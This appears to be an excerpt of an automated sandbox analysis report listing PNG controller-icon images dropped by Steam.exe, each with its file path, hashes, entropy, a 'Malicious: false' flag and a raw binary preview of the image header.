SHA-512:	0308DC48A4B5D19CF30E894AD41210C5A9DA58FBE8E645ABC102A2947563B237E0947A5FC17DC01210C3F5681C859E8C02383F799F915349682AE95D8FE09C51
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_switch_joycon_pair.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6499
Entropy (8bit):	7.952281899459955
Encrypted:	false
SSDEEP:
MD5:	1A3CD87933F40F02C477D1745B83141A
SHA1:	6A3294BBDAAB5EF48A4B640572386046EB14F4D3
SHA-256:	6BA3EB237A216D3B7CA753BA70F533C4C3A4438ECE50011B82F5CD76ECC4A810
SHA-512:	EB3A59888EBC9A2EE94C29EFCB6E5800CA7AD55720F2E7086E9A0F08B8CEA354710119E850F222193BFCF4E858E32BF425A601080434BAF534D2B234EB7BF5C6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_switch_joycon_single.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	7.920064903339944
Encrypted:	false
SSDEEP:
MD5:	CF7A4CD29BEC81B6B0FC2747B92EA11E
SHA1:	DC97A16B6C96AF608FF0AE4C78AED56493B4AFF2
SHA-256:	B3130431EE9238E955E9AD9D0AB7090DBF1AB675C4FF30590EF6B68374EA6DDF
SHA-512:	DD620AD619D46CCEC78666C86F25EAF5D9A767FFA487ADD5877242851ADD235ADE7CF8F3DE8F554A9409EEA84EA286C6E0E5CCACFFFC880A8366EBF795F954D9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_switch_pro.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5413
Entropy (8bit):	7.937793189748094
Encrypted:	false
SSDEEP:
MD5:	7E1D760D0F2913A8065CB28B45D8D92C
SHA1:	D43D4412FA9F25A3F210264AFB70EE86F4861498
SHA-256:	AB2517EA6187ED53CFDCD68D3FEC046D555FD646E3B145F92AC3D6E15250169C
SHA-512:	7FAFCC60C0C5C9F11A7802CF164CBDAD7905DD0684CF2990DA56E1612BCADACFD561B7C3449B64DE2A25E4E46CF99A3C286F4F0627479E3CB6485334D09F114A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_xbox_360.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5558
Entropy (8bit):	7.932596957912749
Encrypted:	false
SSDEEP:
MD5:	5D969F90457314F79E78044AA68535CA
SHA1:	EFB1ABF854565EE0248F8F62B7DE342F431C879D
SHA-256:	BD9432E4212F5D6B7723229295633313A13CB270AB241F23296A784DA1876AD1
SHA-512:	913D0C02ED08F2F0BCCCFE421F7792F1658335FAB31F1E826BFC0EB1C912870DD94230EC1EC83EAD5EEB079BDEF9CCEDD3BCFF1E38ACD34540A93A4228E42F42
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_xbox_one.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4902
Entropy (8bit):	7.917420279810022
Encrypted:	false
SSDEEP:
MD5:	4EFFCF23516F8BAD1396E5CDA034A926
SHA1:	96E864A32C17D8DD4BBAB5B98B08DAEB98BAA3B3
SHA-256:	5DD3D34163D210B4D515407E8FD4C6F673E6AA20385A10E497137D40ECEFEB04
SHA-512:	F0BA8DE3FE8054B20693D0BF087E9B07BD33469B885AF108AE0BF53D3B40AB2A00FDED2A03440FD78B8E357CB452507B7E9E23C31305C6E77E9790646832B0AA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_legend_left_grip.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21676
Entropy (8bit):	4.241080898667195
Encrypted:	false
SSDEEP:
MD5:	30D6CD4D5DA41C4B600CA19903888BB3
SHA1:	8A6C62DD9C443D68FA17DBAA6AB7F3C5003E0ECD
SHA-256:	9EAA8B223CB427122B8BF6D957199037AF68651F61CE7CD9D9A6BD92B3A74AE1
SHA-512:	B44EA49A33A963093E7AD66182EB04CA083E53AE8893676B6965923806278254AB6940F9D0B75DF7199109E72E4989086B92EBA9C19DA783B2845E286BA7D55E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_legend_right_grip.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21675
Entropy (8bit):	4.239350831190879
Encrypted:	false
SSDEEP:
MD5:	62CF253A8B1970B476705AF5AF96537D
SHA1:	6B331013EAF4878E360CA62AEA33FDC1A8BCE7C8
SHA-256:	E5B9DF9B380AC149D90CAD717ED0FD0CDA66EB3BD87FDE50BE7F16E88CEB535E
SHA-512:	AB7FA37F6346A8B1BC2EF6DCD7B7858AA63CEE03026AB9D793AE25FBC45426110B1B0506F8C9A743A4692A2F4A94FE1D911725ACF880AAC4975E50AE001CD932
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_nobattery.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 66 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1919
Entropy (8bit):	7.345226175599338
Encrypted:	false
SSDEEP:
MD5:	DA05291C2B6FEAD522BC1D8672004D66
SHA1:	7C4847DE8A61AEB137EB0850066C26175618040F
SHA-256:	7BCEA0F905294D331E70667EA7DEB8039CB811408C4F1D2616D6879C5C4B1349
SHA-512:	7723259888BDDCAE91BCF3629D3F431E6C693E3C4F3EF09AA00A3FCF212554B044C17B23F252FB391CC202369BEF17DF49B5ACA9090B6E54016508ECD733EC3A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B..........b......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:3DD334563FA411E5BF5DF619791F291B" xmpMM:DocumentID="xmp.did:3DD334573FA411E5BF5DF619791F291B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3DD334543FA411E5BF5DF619791F291B" stRef:documentID="xmp.did:3DD334553FA411E5BF5DF619791F291B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..t.....IDATx..MH.Q...x.g.~P..@.g`.D&B-"5.d.B.M..re...iU.o!..a..].D.."DI$.Pj..f........:.ys.........ys?...{.I.F.F

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	71979
Entropy (8bit):	7.132533989365007
Encrypted:	false
SSDEEP:
MD5:	B2EF81DFB69A06925A4AE6823991C9F6
SHA1:	501DE36339F97CE705F1F66098C36B275CDC645B
SHA-256:	879507CE47229C7B9B9797C1463433E06D303992029E3A2D1B579CB51C1AE072
SHA-512:	DC13A92C16402FE170D5FD5611E29B46CA76009422B9D2359A849AE2048FFD18F492882791E9E585979742B1D73293EDA8B51CBD574E06524AB64EA41343F293
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_left_click.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47755
Entropy (8bit):	6.444717154435467
Encrypted:	false
SSDEEP:
MD5:	B9E90EB4E33BB2A2A22DF05AAD43CFFA
SHA1:	34BF6B313AA7D5F5AEB7374FDB6E7BBFE9613D13
SHA-256:	DF3E5A2E59A6C131F5B581358CA459BC0C76EF0D2E95A9C260F30A41F687031D
SHA-512:	C23D4B7B09AB20D2E98FC635C9DAA00B1D7D714D1D3985D670C62D52ACA8AFECD1B2BDDADD365FDABE1D1F19BDF9879EF9D45A3535BB61BF290B7158E2F05B38
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_left_click_fade.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	130727
Entropy (8bit):	7.624138120687946
Encrypted:	false
SSDEEP:
MD5:	E95188CDD6151E48EB3367C3F2BD101B
SHA1:	BD2D44C6E56B78E6D96825712571274EB74BC36E
SHA-256:	722C30A68322CA51E99524AAEBCAA9E7B5D99554AFDECCC072178842B1E13968
SHA-512:	AD817E1372C767D3BAF9EC30C4D9C31A6B823ACAB6CA6B03E0316342500079F26306482EA83F7FD2EBD5664EB86BF97FF4E8D2DA1BD0CA3FAD01FBAF45DA6D2B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_left_fade.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	94646
Entropy (8bit):	7.400678080701837
Encrypted:	false
SSDEEP:
MD5:	B05F81EC35C2E31A6FD589B13B9487EF
SHA1:	152B9E94E72E0DA35A47097184E0ACC70684E74D
SHA-256:	E4E5FF08C4BE6BE15E19825CF6C78B9D8ACC0874FBFBC61D20F96F0959D054D2
SHA-512:	FE090B98FD10BE36EFF9172AAE6A5FA765D0559F7FCFFE1BE4ADC40B6D00E997EB3552D7EB14C30BFB7743DDA6118D3E2587BB3D04D0DAB492F9A3F6BB56A522
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.127970488710188
Encrypted:	false
SSDEEP:
MD5:	0A5B16CD1EB856E8B2FAE86B6D77E4B6
SHA1:	D53C35013D2DC0479DD2EF7C0AA2254357D6BD15
SHA-256:	F6B9AE7CD970E042E1C630E6F8D360293BC34E28BA3465ACBE6B91E87C3930DF
SHA-512:	6D26D3E8EAB87C965D3CA3903603077F40460229F99B2ED1BA27A658A6634861151B7F30A6863C4D21E905542D34DA71F4B0178DA9E9AD3CE6F452E4D94735B6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_right_click.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47939
Entropy (8bit):	6.450729599198154
Encrypted:	false
SSDEEP:
MD5:	1397DA1D532560A28AB96A0981C62E60
SHA1:	7579FE56CC7A495D98676DCEDC97370FE1B42726
SHA-256:	540C2F38DE256B15DDBFD54BE65797AE3E15091DA5862222C8AEC5468808022E
SHA-512:	8F1501EDED1853E574D65B4A0D8E256B5DCDCF20ACA7620422B12C7F9028616BD1730E5AAD0D24B9507FF931FFA0AAF952FCB1FE31954C9455EFD2B7F266D8AC
Malicious:	false
Reputation:	unknown
